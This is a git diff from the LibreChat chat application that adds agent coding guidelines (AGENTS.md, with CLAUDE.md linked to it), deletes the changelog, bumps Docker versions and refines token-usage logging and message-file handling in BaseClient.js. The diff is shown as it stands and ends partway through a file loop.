+- Semantic HTML with ARIA labels (`role`, `aria-label`) for accessibility.
+- Group related components in feature directories (e.g., `SidePanel/Memories/`).
+- Use index files for clean exports.
+
+### Data Management
+
+- Feature hooks: `client/src/data-provider/[Feature]/queries.ts` → `[Feature]/index.ts` → `client/src/data-provider/index.ts`.
+- React Query (`@tanstack/react-query`) for all API interactions; proper query invalidation on mutations.
+- QueryKeys and MutationKeys in `packages/data-provider/src/keys.ts`.
+
+### Data-Provider Integration
+
+- Endpoints: `packages/data-provider/src/api-endpoints.ts`
+- Data service: `packages/data-provider/src/data-service.ts`
+- Types: `packages/data-provider/src/types/queries.ts`
+- Use `encodeURIComponent` for dynamic URL parameters.
+
+### Performance
+
+- Prioritize memory and speed efficiency at scale.
+- Cursor pagination for large datasets.
+- Proper dependency arrays to avoid unnecessary re-renders.
+- Leverage React Query caching and background refetching.
+
+---
+
+## Development Commands
+
+| Command | Purpose |
+|---|---|
+| `npm run smart-reinstall` | Install deps (if lockfile changed) + build via Turborepo |
+| `npm run reinstall` | Clean install — wipe `node_modules` and reinstall from scratch |
+| `npm run backend` | Start the backend server |
+| `npm run backend:dev` | Start backend with file watching (development) |
+| `npm run build` | Build all compiled code via Turborepo (parallel, cached) |
+| `npm run frontend` | Build all compiled code sequentially (legacy fallback) |
+| `npm run frontend:dev` | Start frontend dev server with HMR (port 3090, requires backend running) |
+| `npm run build:data-provider` | Rebuild `packages/data-provider` after changes |
+
+- Node.js: v20.19.0+ or ^22.12.0 or >= 23.0.0
+- Database: MongoDB
+- Backend runs on `http://localhost:3080/`; frontend dev server on `http://localhost:3090/`
+
+---
+
+## Testing
+
+- Framework: **Jest**, run per-workspace.
+- Run tests from their workspace directory: `cd api && npx jest `, `cd packages/api && npx jest `, etc.
+- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering.
+- Cover loading, success, and error states for UI/data flows.
+
+### Philosophy
+
+- **Real logic over mocks.** Exercise actual code paths with real dependencies. Mocking is a last resort.
+- **Spies over mocks.** Assert that real functions are called with expected arguments and frequency without replacing underlying logic.
+- **MongoDB**: use `mongodb-memory-server` for a real in-memory MongoDB instance. Test actual queries and schema validation, not mocked DB calls.
+- **MCP**: use real `@modelcontextprotocol/sdk` exports for servers, transports, and tool definitions. Mirror real scenarios, don't stub SDK internals.
+- Only mock what you cannot control: external HTTP APIs, rate-limited services, non-deterministic system calls.
+- Heavy mocking is a code smell, not a testing strategy.
+
+---
+
+## Formatting
+
+Fix all formatting lint errors (trailing spaces, tabs, newlines, indentation) using auto-fix when available. All TypeScript/ESLint warnings and errors **must** be resolved.
diff --git a/CHANGELOG.md b/CHANGELOG.md
deleted file mode 100644
index a8cb8282bd..0000000000
--- a/CHANGELOG.md
+++ /dev/null
@@ -1,236 +0,0 @@
-# Changelog
-
-All notable changes to this project will be documented in this file.
-
-
-
-
-
-
-## [Unreleased]
-
-### ✨ New Features
-
-- ✨ feat: implement search parameter updates by **@mawburn** in [#7151](https://github.com/danny-avila/LibreChat/pull/7151)
-- 🎏 feat: Add MCP support for Streamable HTTP Transport by **@benverhees** in [#7353](https://github.com/danny-avila/LibreChat/pull/7353)
-- 🔒 feat: Add Content Security Policy using Helmet middleware by **@rubentalstra** in [#7377](https://github.com/danny-avila/LibreChat/pull/7377)
-- ✨ feat: Add Normalization for MCP Server Names by **@danny-avila** in [#7421](https://github.com/danny-avila/LibreChat/pull/7421)
-- 📊 feat: Improve Helm Chart by **@hofq** in [#3638](https://github.com/danny-avila/LibreChat/pull/3638)
-- 🦾 feat: Claude-4 Support by **@danny-avila** in [#7509](https://github.com/danny-avila/LibreChat/pull/7509)
-- 🪨 feat: Bedrock Support for Claude-4 Reasoning by **@danny-avila** in [#7517](https://github.com/danny-avila/LibreChat/pull/7517)
-
-### 🌍 Internationalization
-
-- 🌍 i18n: Add `Danish` and `Czech` and `Catalan` localization support by **@rubentalstra** in [#7373](https://github.com/danny-avila/LibreChat/pull/7373)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7375](https://github.com/danny-avila/LibreChat/pull/7375)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7468](https://github.com/danny-avila/LibreChat/pull/7468)
-
-### 🔧 Fixes
-
-- 💬 fix: update aria-label for accessibility in ConvoLink component by **@berry-13** in [#7320](https://github.com/danny-avila/LibreChat/pull/7320)
-- 🔑 fix: use `apiKey` instead of `openAIApiKey` in OpenAI-like Config by **@danny-avila** in [#7337](https://github.com/danny-avila/LibreChat/pull/7337)
-- 🔄 fix: update navigation logic in `useFocusChatEffect` to ensure correct search parameters are used by **@mawburn** in [#7340](https://github.com/danny-avila/LibreChat/pull/7340)
-- 🔄 fix: Improve MCP Connection Cleanup by **@danny-avila** in [#7400](https://github.com/danny-avila/LibreChat/pull/7400)
-- 🛡️ fix: Preset and Validation Logic for URL Query Params by **@danny-avila** in [#7407](https://github.com/danny-avila/LibreChat/pull/7407)
-- 🌘 fix: artifact of preview text is illegible in dark mode by **@nhtruong** in [#7405](https://github.com/danny-avila/LibreChat/pull/7405)
-- 🛡️ fix: Temporarily Remove CSP until Configurable by **@danny-avila** in [#7419](https://github.com/danny-avila/LibreChat/pull/7419)
-- 💽 fix: Exclude index page `/` from static cache settings by **@sbruel** in [#7382](https://github.com/danny-avila/LibreChat/pull/7382)
-
-### ⚙️ Other Changes
-
-- 📜 docs: CHANGELOG for release v0.7.8 by **@github-actions[bot]** in [#7290](https://github.com/danny-avila/LibreChat/pull/7290)
-- 📦 chore: Update API Package Dependencies by **@danny-avila** in [#7359](https://github.com/danny-avila/LibreChat/pull/7359)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7321](https://github.com/danny-avila/LibreChat/pull/7321)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7434](https://github.com/danny-avila/LibreChat/pull/7434)
-- 🛡️ chore: `multer` v2.0.0 for CVE-2025-47935 and CVE-2025-47944 by **@danny-avila** in [#7454](https://github.com/danny-avila/LibreChat/pull/7454)
-- 📂 refactor: Improve `FileAttachment` & File Form Deletion by **@danny-avila** in [#7471](https://github.com/danny-avila/LibreChat/pull/7471)
-- 📊 chore: Remove Old Helm Chart by **@hofq** in [#7512](https://github.com/danny-avila/LibreChat/pull/7512)
-- 🪖 chore: bump helm app version to v0.7.8 by **@austin-barrington** in [#7524](https://github.com/danny-avila/LibreChat/pull/7524)
-
-
-
----
-## [v0.7.8] -
-
-Changes from v0.7.8-rc1 to v0.7.8.
-
-### ✨ New Features
-
-- ✨ feat: Enhance form submission for touch screens by **@berry-13** in [#7198](https://github.com/danny-avila/LibreChat/pull/7198)
-- 🔍 feat: Additional Tavily API Tool Parameters by **@glowforge-opensource** in [#7232](https://github.com/danny-avila/LibreChat/pull/7232)
-- 🐋 feat: Add python to Dockerfile for increased MCP compatibility by **@technicalpickles** in [#7270](https://github.com/danny-avila/LibreChat/pull/7270)
-
-### 🔧 Fixes
-
-- 🔧 fix: Google Gemma Support & OpenAI Reasoning Instructions by **@danny-avila** in [#7196](https://github.com/danny-avila/LibreChat/pull/7196)
-- 🛠️ fix: Conversation Navigation State by **@danny-avila** in [#7210](https://github.com/danny-avila/LibreChat/pull/7210)
-- 🔄 fix: o-Series Model Regex for System Messages by **@danny-avila** in [#7245](https://github.com/danny-avila/LibreChat/pull/7245)
-- 🔖 fix: Custom Headers for Initial MCP SSE Connection by **@danny-avila** in [#7246](https://github.com/danny-avila/LibreChat/pull/7246)
-- 🛡️ fix: Deep Clone `MCPOptions` for User MCP Connections by **@danny-avila** in [#7247](https://github.com/danny-avila/LibreChat/pull/7247)
-- 🔄 fix: URL Param Race Condition and File Draft Persistence by **@danny-avila** in [#7257](https://github.com/danny-avila/LibreChat/pull/7257)
-- 🔄 fix: Assistants Endpoint & Minor Issues by **@danny-avila** in [#7274](https://github.com/danny-avila/LibreChat/pull/7274)
-- 🔄 fix: Ollama Think Tag Edge Case with Tools by **@danny-avila** in [#7275](https://github.com/danny-avila/LibreChat/pull/7275)
-
-### ⚙️ Other Changes
-
-- 📜 docs: CHANGELOG for release v0.7.8-rc1 by **@github-actions[bot]** in [#7153](https://github.com/danny-avila/LibreChat/pull/7153)
-- 🔄 refactor: Artifact Visibility Management by **@danny-avila** in [#7181](https://github.com/danny-avila/LibreChat/pull/7181)
-- 📦 chore: Bump Package Security by **@danny-avila** in [#7183](https://github.com/danny-avila/LibreChat/pull/7183)
-- 🌿 refactor: Unmount Fork Popover on Hide for Better Performance by **@danny-avila** in [#7189](https://github.com/danny-avila/LibreChat/pull/7189)
-- 🧰 chore: ESLint configuration to enforce Prettier formatting rules by **@mawburn** in [#7186](https://github.com/danny-avila/LibreChat/pull/7186)
-- 🎨 style: Improve KaTeX Rendering for LaTeX Equations by **@andresgit** in [#7223](https://github.com/danny-avila/LibreChat/pull/7223)
-- 📝 docs: Update `.env.example` Google models by **@marlonka** in [#7254](https://github.com/danny-avila/LibreChat/pull/7254)
-- 💬 refactor: MCP Chat Visibility Option, Google Rates, Remove OpenAPI Plugins by **@danny-avila** in [#7286](https://github.com/danny-avila/LibreChat/pull/7286)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7214](https://github.com/danny-avila/LibreChat/pull/7214)
-
-
-
-[See full release details][release-v0.7.8]
-
-[release-v0.7.8]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8
-
----
-## [v0.7.8-rc1] -
-
-Changes from v0.7.7 to v0.7.8-rc1.
-
-### ✨ New Features
-
-- 🔍 feat: Mistral OCR API / Upload Files as Text by **@danny-avila** in [#6274](https://github.com/danny-avila/LibreChat/pull/6274)
-- 🤖 feat: Support OpenAI Web Search models by **@danny-avila** in [#6313](https://github.com/danny-avila/LibreChat/pull/6313)
-- 🔗 feat: Agent Chain (Mixture-of-Agents) by **@danny-avila** in [#6374](https://github.com/danny-avila/LibreChat/pull/6374)
-- ⌛ feat: `initTimeout` for Slow Starting MCP Servers by **@perweij** in [#6383](https://github.com/danny-avila/LibreChat/pull/6383)
-- 🚀 feat: `S3` Integration for File handling and Image uploads by **@rubentalstra** in [#6142](https://github.com/danny-avila/LibreChat/pull/6142)
-- 🔒feat: Enable OpenID Auto-Redirect by **@leondape** in [#6066](https://github.com/danny-avila/LibreChat/pull/6066)
-- 🚀 feat: Integrate `Azure Blob Storage` for file handling and image uploads by **@rubentalstra** in [#6153](https://github.com/danny-avila/LibreChat/pull/6153)
-- 🚀 feat: Add support for custom `AWS` endpoint in `S3` by **@rubentalstra** in [#6431](https://github.com/danny-avila/LibreChat/pull/6431)
-- 🚀 feat: Add support for LDAP STARTTLS in LDAP authentication by **@rubentalstra** in [#6438](https://github.com/danny-avila/LibreChat/pull/6438)
-- 🚀 feat: Refactor schema exports and update package version to 0.0.4 by **@rubentalstra** in [#6455](https://github.com/danny-avila/LibreChat/pull/6455)
-- 🔼 feat: Add Auto Submit For URL Query Params by **@mjaverto** in [#6440](https://github.com/danny-avila/LibreChat/pull/6440)
-- 🛠 feat: Enhance Redis Integration, Rate Limiters & Log Headers by **@danny-avila** in [#6462](https://github.com/danny-avila/LibreChat/pull/6462)
-- 💵 feat: Add Automatic Balance Refill by **@rubentalstra** in [#6452](https://github.com/danny-avila/LibreChat/pull/6452)
-- 🗣️ feat: add support for gpt-4o-transcribe models by **@berry-13** in [#6483](https://github.com/danny-avila/LibreChat/pull/6483)
-- 🎨 feat: UI Refresh for Enhanced UX by **@berry-13** in [#6346](https://github.com/danny-avila/LibreChat/pull/6346)
-- 🌍 feat: Add support for Hungarian language localization by **@rubentalstra** in [#6508](https://github.com/danny-avila/LibreChat/pull/6508)
-- 🚀 feat: Add Gemini 2.5 Token/Context Values, Increase Max Possible Output to 64k by **@danny-avila** in [#6563](https://github.com/danny-avila/LibreChat/pull/6563)
-- 🚀 feat: Enhance MCP Connections For Multi-User Support by **@danny-avila** in [#6610](https://github.com/danny-avila/LibreChat/pull/6610)
-- 🚀 feat: Enhance S3 URL Expiry with Refresh; fix: S3 File Deletion by **@danny-avila** in [#6647](https://github.com/danny-avila/LibreChat/pull/6647)
-- 🚀 feat: enhance UI components and refactor settings by **@berry-13** in [#6625](https://github.com/danny-avila/LibreChat/pull/6625)
-- 💬 feat: move TemporaryChat to the Header by **@berry-13** in [#6646](https://github.com/danny-avila/LibreChat/pull/6646)
-- 🚀 feat: Use Model Specs + Specific Endpoints, Limit Providers for Agents by **@danny-avila** in [#6650](https://github.com/danny-avila/LibreChat/pull/6650)
-- 🪙 feat: Sync Balance Config on Login by **@danny-avila** in [#6671](https://github.com/danny-avila/LibreChat/pull/6671)
-- 🔦 feat: MCP Support for Non-Agent Endpoints by **@danny-avila** in [#6775](https://github.com/danny-avila/LibreChat/pull/6775)
-- 🗃️ feat: Code Interpreter File Persistence between Sessions by **@danny-avila** in [#6790](https://github.com/danny-avila/LibreChat/pull/6790)
-- 🖥️ feat: Code Interpreter API for Non-Agent Endpoints by **@danny-avila** in [#6803](https://github.com/danny-avila/LibreChat/pull/6803)
-- ⚡ feat: Self-hosted Artifacts Static Bundler URL by **@danny-avila** in [#6827](https://github.com/danny-avila/LibreChat/pull/6827)
-- 🐳 feat: Add Jemalloc and UV to Docker Builds by **@danny-avila** in [#6836](https://github.com/danny-avila/LibreChat/pull/6836)
-- 🤖 feat: GPT-4.1 by **@danny-avila** in [#6880](https://github.com/danny-avila/LibreChat/pull/6880)
-- 👋 feat: remove Edge TTS by **@berry-13** in [#6885](https://github.com/danny-avila/LibreChat/pull/6885)
-- feat: nav optimization by **@berry-13** in [#5785](https://github.com/danny-avila/LibreChat/pull/5785)
-- 🗺️ feat: Add Parameter Location Mapping for OpenAPI actions by **@peeeteeer** in [#6858](https://github.com/danny-avila/LibreChat/pull/6858)
-- 🤖 feat: Support `o4-mini` and `o3` Models by **@danny-avila** in [#6928](https://github.com/danny-avila/LibreChat/pull/6928)
-- 🎨 feat: OpenAI Image Tools (GPT-Image-1) by **@danny-avila** in [#7079](https://github.com/danny-avila/LibreChat/pull/7079)
-- 🗓️ feat: Add Special Variables for Prompts & Agents, Prompt UI Improvements by **@danny-avila** in [#7123](https://github.com/danny-avila/LibreChat/pull/7123)
-
-### 🌍 Internationalization
-
-- 🌍 i18n: Add Thai Language Support and Update Translations by **@rubentalstra** in [#6219](https://github.com/danny-avila/LibreChat/pull/6219)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6220](https://github.com/danny-avila/LibreChat/pull/6220)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6240](https://github.com/danny-avila/LibreChat/pull/6240)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6241](https://github.com/danny-avila/LibreChat/pull/6241)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6277](https://github.com/danny-avila/LibreChat/pull/6277)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6414](https://github.com/danny-avila/LibreChat/pull/6414)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6505](https://github.com/danny-avila/LibreChat/pull/6505)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6530](https://github.com/danny-avila/LibreChat/pull/6530)
-- 🌍 i18n: Add Persian Localization Support by **@rubentalstra** in [#6669](https://github.com/danny-avila/LibreChat/pull/6669)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6667](https://github.com/danny-avila/LibreChat/pull/6667)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7126](https://github.com/danny-avila/LibreChat/pull/7126)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7148](https://github.com/danny-avila/LibreChat/pull/7148)
-
-### 👐 Accessibility
-
-- 🎨 a11y: Update Model Spec Description Text by **@berry-13** in [#6294](https://github.com/danny-avila/LibreChat/pull/6294)
-- 🗑️ a11y: Add Accessible Name to Button for File Attachment Removal by **@kangabell** in [#6709](https://github.com/danny-avila/LibreChat/pull/6709)
-- ⌨️ a11y: enhance accessibility & visual consistency by **@berry-13** in [#6866](https://github.com/danny-avila/LibreChat/pull/6866)
-- 🙌 a11y: Searchbar/Conversations List Focus by **@danny-avila** in [#7096](https://github.com/danny-avila/LibreChat/pull/7096)
-- 👐 a11y: Improve Fork and SplitText Accessibility by **@danny-avila** in [#7147](https://github.com/danny-avila/LibreChat/pull/7147)
-
-### 🔧 Fixes
-
-- 🐛 fix: Avatar Type Definitions in Agent/Assistant Schemas by **@danny-avila** in [#6235](https://github.com/danny-avila/LibreChat/pull/6235)
-- 🔧 fix: MeiliSearch Field Error and Patch Incorrect Import by #6210 by **@rubentalstra** in [#6245](https://github.com/danny-avila/LibreChat/pull/6245)
-- 🔏 fix: Enhance Two-Factor Authentication by **@rubentalstra** in [#6247](https://github.com/danny-avila/LibreChat/pull/6247)
-- 🐛 fix: Await saveMessage in abortMiddleware to ensure proper execution by **@sh4shii** in [#6248](https://github.com/danny-avila/LibreChat/pull/6248)
-- 🔧 fix: Axios Proxy Usage And Bump `mongoose` by **@danny-avila** in [#6298](https://github.com/danny-avila/LibreChat/pull/6298)
-- 🔧 fix: comment out MCP servers to resolve service run issues by **@KunalScriptz** in [#6316](https://github.com/danny-avila/LibreChat/pull/6316)
-- 🔧 fix: Update Token Calculations and Mapping, MCP `env` Initialization by **@danny-avila** in [#6406](https://github.com/danny-avila/LibreChat/pull/6406)
-- 🐞 fix: Agent "Resend" Message Attachments + Source Icon Styling by **@danny-avila** in [#6408](https://github.com/danny-avila/LibreChat/pull/6408)
-- 🐛 fix: Prevent Crash on Duplicate Message ID by **@Odrec** in [#6392](https://github.com/danny-avila/LibreChat/pull/6392)
-- 🔐 fix: Invalid Key Length in 2FA Encryption by **@rubentalstra** in [#6432](https://github.com/danny-avila/LibreChat/pull/6432)
-- 🏗️ fix: Fix Agents Token Spend Race Conditions, Expand Test Coverage by **@danny-avila** in [#6480](https://github.com/danny-avila/LibreChat/pull/6480)
-- 🔃 fix: Draft Clearing, Claude Titles, Remove Default Vision Max Tokens by **@danny-avila** in [#6501](https://github.com/danny-avila/LibreChat/pull/6501)
-- 🔧 fix: Update username reference to use user.name in greeting display by **@rubentalstra** in [#6534](https://github.com/danny-avila/LibreChat/pull/6534)
-- 🔧 fix: S3 Download Stream with Key Extraction and Blob Storage Encoding for Vision by **@danny-avila** in [#6557](https://github.com/danny-avila/LibreChat/pull/6557)
-- 🔧 fix: Mistral type strictness for `usage` & update token values/windows by **@danny-avila** in [#6562](https://github.com/danny-avila/LibreChat/pull/6562)
-- 🔧 fix: Consolidate Text Parsing and TTS Edge Initialization by **@danny-avila** in [#6582](https://github.com/danny-avila/LibreChat/pull/6582)
-- 🔧 fix: Ensure continuation in image processing on base64 encoding from Blob Storage by **@danny-avila** in [#6619](https://github.com/danny-avila/LibreChat/pull/6619)
-- ✉️ fix: Fallback For User Name In Email Templates by **@danny-avila** in [#6620](https://github.com/danny-avila/LibreChat/pull/6620)
-- 🔧 fix: Azure Blob Integration and File Source References by **@rubentalstra** in [#6575](https://github.com/danny-avila/LibreChat/pull/6575)
-- 🐛 fix: Safeguard against undefined addedEndpoints by **@wipash** in [#6654](https://github.com/danny-avila/LibreChat/pull/6654)
-- 🤖 fix: Gemini 2.5 Vision Support by **@danny-avila** in [#6663](https://github.com/danny-avila/LibreChat/pull/6663)
-- 🔄 fix: Avatar & Error Handling Enhancements by **@danny-avila** in [#6687](https://github.com/danny-avila/LibreChat/pull/6687)
-- 🔧 fix: Chat Middleware, Zod Conversion, Auto-Save and S3 URL Refresh by **@danny-avila** in [#6720](https://github.com/danny-avila/LibreChat/pull/6720)
-- 🔧 fix: Agent Capability Checks & DocumentDB Compatibility for Agent Resource Removal by **@danny-avila** in [#6726](https://github.com/danny-avila/LibreChat/pull/6726)
-- 🔄 fix: Improve audio MIME type detection and handling by **@berry-13** in [#6707](https://github.com/danny-avila/LibreChat/pull/6707)
-- 🪺 fix: Update Role Handling due to New Schema Shape by **@danny-avila** in [#6774](https://github.com/danny-avila/LibreChat/pull/6774)
-- 🗨️ fix: Show ModelSpec Greeting by **@berry-13** in [#6770](https://github.com/danny-avila/LibreChat/pull/6770)
-- 🔧 fix: Keyv and Proxy Issues, and More Memory Optimizations by **@danny-avila** in [#6867](https://github.com/danny-avila/LibreChat/pull/6867)
-- ✨ fix: Implement dynamic text sizing for greeting and name display by **@berry-13** in [#6833](https://github.com/danny-avila/LibreChat/pull/6833)
-- 📝 fix: Mistral OCR Image Support and Azure Agent Titles by **@danny-avila** in [#6901](https://github.com/danny-avila/LibreChat/pull/6901)
-- 📢 fix: Invalid `engineTTS` and Conversation State on Navigation by **@berry-13** in [#6904](https://github.com/danny-avila/LibreChat/pull/6904)
-- 🛠️ fix: Improve Accessibility and Display of Conversation Menu by **@danny-avila** in [#6913](https://github.com/danny-avila/LibreChat/pull/6913)
-- 🔧 fix: Agent Resource Form, Convo Menu Style, Ensure Draft Clears on Submission by **@danny-avila** in [#6925](https://github.com/danny-avila/LibreChat/pull/6925)
-- 🔀 fix: MCP Improvements, Auto-Save Drafts, Artifact Markup by **@danny-avila** in [#7040](https://github.com/danny-avila/LibreChat/pull/7040)
-- 🐋 fix: Improve Deepseek Compatbility by **@danny-avila** in [#7132](https://github.com/danny-avila/LibreChat/pull/7132)
-- 🐙 fix: Add Redis Ping Interval to Prevent Connection Drops by **@peeeteeer** in [#7127](https://github.com/danny-avila/LibreChat/pull/7127)
-
-### ⚙️ Other Changes
-
-- 📦 refactor: Move DB Models to `@librechat/data-schemas` by **@rubentalstra** in [#6210](https://github.com/danny-avila/LibreChat/pull/6210)
-- 📦 chore: Patch `axios` to address CVE-2025-27152 by **@danny-avila** in [#6222](https://github.com/danny-avila/LibreChat/pull/6222)
-- ⚠️ refactor: Use Error Content Part Instead Of Throwing Error for Agents by **@danny-avila** in [#6262](https://github.com/danny-avila/LibreChat/pull/6262)
-- 🏃♂️ refactor: Improve Agent Run Context & Misc. Changes by **@danny-avila** in [#6448](https://github.com/danny-avila/LibreChat/pull/6448)
-- 📝 docs: librechat.example.yaml by **@ineiti** in [#6442](https://github.com/danny-avila/LibreChat/pull/6442)
-- 🏃♂️ refactor: More Agent Context Improvements during Run by **@danny-avila** in [#6477](https://github.com/danny-avila/LibreChat/pull/6477)
-- 🔃 refactor: Allow streaming for `o1` models by **@danny-avila** in [#6509](https://github.com/danny-avila/LibreChat/pull/6509)
-- 🔧 chore: `Vite` Plugin Upgrades & Config Optimizations by **@rubentalstra** in [#6547](https://github.com/danny-avila/LibreChat/pull/6547)
-- 🔧 refactor: Consolidate Logging, Model Selection & Actions Optimizations, Minor Fixes by **@danny-avila** in [#6553](https://github.com/danny-avila/LibreChat/pull/6553)
-- 🎨 style: Address Minor UI Refresh Issues by **@berry-13** in [#6552](https://github.com/danny-avila/LibreChat/pull/6552)
-- 🔧 refactor: Enhance Model & Endpoint Configurations with Global Indicators 🌍 by **@berry-13** in [#6578](https://github.com/danny-avila/LibreChat/pull/6578)
-- 💬 style: Chat UI, Greeting, and Message adjustments by **@berry-13** in [#6612](https://github.com/danny-avila/LibreChat/pull/6612)
-- ⚡ refactor: DocumentDB Compatibility for Balance Updates by **@danny-avila** in [#6673](https://github.com/danny-avila/LibreChat/pull/6673)
-- 🧹 chore: Update ESLint rules for React hooks by **@rubentalstra** in [#6685](https://github.com/danny-avila/LibreChat/pull/6685)
-- 🪙 chore: Update Gemini Pricing by **@RedwindA** in [#6731](https://github.com/danny-avila/LibreChat/pull/6731)
-- 🪺 refactor: Nest Permission fields for Roles by **@rubentalstra** in [#6487](https://github.com/danny-avila/LibreChat/pull/6487)
-- 📦 chore: Update `caniuse-lite` dependency to version 1.0.30001706 by **@rubentalstra** in [#6482](https://github.com/danny-avila/LibreChat/pull/6482)
-- ⚙️ refactor: OAuth Flow Signal, Type Safety, Tool Progress & Updated Packages by **@danny-avila** in [#6752](https://github.com/danny-avila/LibreChat/pull/6752)
-- 📦 chore: bump vite from 6.2.3 to 6.2.5 by **@dependabot[bot]** in [#6745](https://github.com/danny-avila/LibreChat/pull/6745)
-- 💾 chore: Enhance Local Storage Handling and Update MCP SDK by **@danny-avila** in [#6809](https://github.com/danny-avila/LibreChat/pull/6809)
-- 🤖 refactor: Improve Agents Memory Usage, Bump Keyv, Grok 3 by **@danny-avila** in [#6850](https://github.com/danny-avila/LibreChat/pull/6850)
-- 💾 refactor: Enhance Memory In Image Encodings & Client Disposal by **@danny-avila** in [#6852](https://github.com/danny-avila/LibreChat/pull/6852)
-- 🔁 refactor: Token Event Handler and Standardize `maxTokens` Key by **@danny-avila** in [#6886](https://github.com/danny-avila/LibreChat/pull/6886)
-- 🔍 refactor: Search & Message Retrieval by **@berry-13** in [#6903](https://github.com/danny-avila/LibreChat/pull/6903)
-- 🎨 style: standardize dropdown styling & fix z-Index layering by **@berry-13** in [#6939](https://github.com/danny-avila/LibreChat/pull/6939)
-- 📙 docs: CONTRIBUTING.md by **@dblock** in [#6831](https://github.com/danny-avila/LibreChat/pull/6831)
-- 🧭 refactor: Modernize Nav/Header by **@danny-avila** in [#7094](https://github.com/danny-avila/LibreChat/pull/7094)
-- 🪶 refactor: Chat Input Focus for Conversation Navigations & ChatForm Optimizations by **@danny-avila** in [#7100](https://github.com/danny-avila/LibreChat/pull/7100)
-- 🔃 refactor: Streamline Navigation, Message Loading UX by **@danny-avila** in [#7118](https://github.com/danny-avila/LibreChat/pull/7118)
-- 📜 docs: Unreleased changelog by **@github-actions[bot]** in [#6265](https://github.com/danny-avila/LibreChat/pull/6265)
-
-
-
-[See full release details][release-v0.7.8-rc1]
-
-[release-v0.7.8-rc1]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8-rc1
-
----
diff --git a/CLAUDE.md b/CLAUDE.md
new file mode 120000
index 0000000000..47dc3e3d86
--- /dev/null
+++ b/CLAUDE.md
@@ -0,0 +1 @@
+AGENTS.md
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
index d45844c4a6..bbff8133da 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-# v0.8.3-rc1
+# v0.8.3
# Base node image
FROM node:20-alpine AS node
diff --git a/Dockerfile.multi b/Dockerfile.multi
index 5a610725d5..53810b5f0a 100644
--- a/Dockerfile.multi
+++ b/Dockerfile.multi
@@ -1,5 +1,5 @@
# Dockerfile.multi
-# v0.8.3-rc1
+# v0.8.3
# Set configurable max-old-space-size with default
ARG NODE_MAX_OLD_SPACE_SIZE=6144
diff --git a/README.md b/README.md
index 6e04396637..e82b3ebc2c 100644
--- a/README.md
+++ b/README.md
@@ -27,8 +27,8 @@
-
-
+
+
diff --git a/api/app/clients/BaseClient.js b/api/app/clients/BaseClient.js
index a2dfaf9907..8f931f8a5e 100644
--- a/api/app/clients/BaseClient.js
+++ b/api/app/clients/BaseClient.js
@@ -4,6 +4,7 @@ const { logger } = require('@librechat/data-schemas');
const {
countTokens,
getBalanceConfig,
+ buildMessageFiles,
extractFileContext,
encodeAndFormatAudios,
encodeAndFormatVideos,
@@ -20,6 +21,7 @@ const {
isAgentsEndpoint,
isEphemeralAgentId,
supportsBalanceCheck,
+ isBedrockDocumentType,
} = require('librechat-data-provider');
const {
updateMessage,
@@ -122,7 +124,9 @@ class BaseClient {
* @returns {number}
*/
getTokenCountForResponse(responseMessage) {
- logger.debug('[BaseClient] `recordTokenUsage` not implemented.', responseMessage);
+ logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
+ messageId: responseMessage?.messageId,
+ });
}
/**
@@ -133,12 +137,14 @@ class BaseClient {
* @param {AppConfig['balance']} [balance]
* @param {number} promptTokens
* @param {number} completionTokens
+ * @param {string} [messageId]
* @returns {Promise}
*/
- async recordTokenUsage({ model, balance, promptTokens, completionTokens }) {
+ async recordTokenUsage({ model, balance, promptTokens, completionTokens, messageId }) {
logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
model,
balance,
+ messageId,
promptTokens,
completionTokens,
});
@@ -659,16 +665,27 @@ class BaseClient {
);
if (tokenCountMap) {
- logger.debug('[BaseClient] tokenCountMap', tokenCountMap);
if (tokenCountMap[userMessage.messageId]) {
userMessage.tokenCount = tokenCountMap[userMessage.messageId];
- logger.debug('[BaseClient] userMessage', userMessage);
+ logger.debug('[BaseClient] userMessage', {
+ messageId: userMessage.messageId,
+ tokenCount: userMessage.tokenCount,
+ conversationId: userMessage.conversationId,
+ });
}
this.handleTokenCountMap(tokenCountMap);
}
if (!isEdited && !this.skipSaveUserMessage) {
+ const reqFiles = this.options.req?.body?.files;
+ if (reqFiles && Array.isArray(this.options.attachments)) {
+ const files = buildMessageFiles(reqFiles, this.options.attachments);
+ if (files.length > 0) {
+ userMessage.files = files;
+ }
+ delete userMessage.image_urls;
+ }
userMessagePromise = this.saveMessageToDatabase(userMessage, saveOptions, user);
this.savedMessageIds.add(userMessage.messageId);
if (typeof opts?.getReqData === 'function') {
@@ -780,9 +797,18 @@ class BaseClient {
promptTokens,
completionTokens,
balance: balanceConfig,
- model: responseMessage.model,
+ /** Note: When using agents, responseMessage.model is the agent ID, not the model */
+ model: this.model,
+ messageId: this.responseMessageId,
});
}
+
+ logger.debug('[BaseClient] Response token usage', {
+ messageId: responseMessage.messageId,
+ model: responseMessage.model,
+ promptTokens,
+ completionTokens,
+ });
}
if (userMessagePromise) {
@@ -1300,6 +1326,9 @@ class BaseClient {
const allFiles = [];
+ const provider = this.options.agent?.provider ?? this.options.endpoint;
+ const isBedrock = provider === EModelEndpoint.bedrock;
+
for (const file of attachments) {
/** @type {FileSources} */
const source = file.source ?? FileSources.local;
